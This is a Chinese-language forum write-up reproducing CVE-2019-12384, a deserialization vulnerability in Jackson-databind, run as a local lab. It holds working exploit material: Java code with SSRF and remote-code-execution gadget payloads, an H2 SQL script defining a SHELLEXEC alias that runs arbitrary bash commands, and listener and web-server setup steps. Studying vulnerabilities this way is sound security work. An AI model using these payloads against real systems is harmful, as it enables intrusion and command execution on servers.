標題:CVE-2019-12384:Jackson反序列化漏洞復現

taibeihacker

Moderator

CVE-2019-12384:Jackson反序列化漏洞复现​

分析​

根據Jackson開發者提到的信息,觸發這個Jackson漏洞需要滿足如下要求,所以該漏洞評級為中危:
目標應用接收到不可信客戶端發送的JSON數據
目標應用使用多態類型處理方式來處理java.lang.Object類型的屬性;
目標應用至少包含能夠在Java classpath中利用的一個“gadget”類。在該漏洞中就是依賴的第三方jar包有點多,除去jackson自身的jar包以外還需要logback-core和h2;

环境搭建​

本文中用到的第三方庫有:
jackson-databind 2.9.8
jackson-annotations-2.9.8.jar
jackson-core-2.9.8.jar
logback-core-1.3.0-alpha4.jar
h2 1.4.199
http://www.mvnrepository.com上下載即可.

漏洞代码​

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
package com.baiyang;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.SerializationFeature;
import org.h2.Driver;
public class Main {
public static void main(String[] args) {
try {
Class.forName('org.h2.Driver').newInstance();
} catch (Exception e) {
e.printStackTrace();
}
System.out.println('Mapping');
//該條payload用於SSRF的複現
String SSRF='[\'ch.qos.logback.core.db.DriverManagerConnectionSource\', {\'url\':\'jdbc:h2:tcp://127.0.0.1:4444/~/hacker\'}]';
//該條payload用於RCE的複現
String RCE='[\'ch.qos.logback.core.db.DriverManagerConnectionSource\', {\'url\':\'jdbc:h2:mem:TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://localhost/inject.sql'\'}]';
ObjectMapper mapper=new ObjectMapper();
mapper.enableDefaultTyping();
mapper.configure(SerializationFeature.FAIL_ON_EMPTY_BEANS, false);
System.out.println('Serializing');
Object obj=null;
try {
//更換SSRF或RCE即可測試SSRF或者RCE漏洞的payload
obj=mapper.readValue(RCE, java.lang.Object.class);
} catch(Exception e) {
e.printStackTrace();
}
System.out.println('objectified');
try {
System.out.println('stringified: ' + mapper.writeValueAsString(obj));
} catch(Exception e) {
e.printStackTrace();
}
}
}

构建步骤​

本文在IDEA上生成項目
新建java Commandline項目
將上述代碼替換類
單擊紅框中的圖標,進入項目結構設置
20190726153817.png-water_print

按照下圖的步驟將下載好的外部jar包導入項目文件
20190726153826.png-water_print

攻击流程​

將下面的sql腳本文件保存為inject.sql
1
2
3
4
5
6
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
String[] command={'bash', '-c', cmd};
java.util.Scanner s=new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter('\\A');
return s.hasNext() ? s.next() : ''; }
$$;
CALL SHELLEXEC('open /Applications/Calculator.app')
注:本文在MacOS下執行的RCE,如在其它環境,請自行更換CALL SHELLEXEC中的命令。
執行本地執行python2 -m SimpleHTTPServer 80,在本地啟動HTTP服務

RCE payload测试​

將java文件中的payload更換為RCE,編譯並運行java程序
20190726154643.png-water_print

SSRF payload测试​

執行nc -l -vv 4444,便於觀察SSRF的結果
將java文件中的payload更換為SSRF,編譯並運行java程序
20190726155103.png-water_print

参考​

 
返回
上方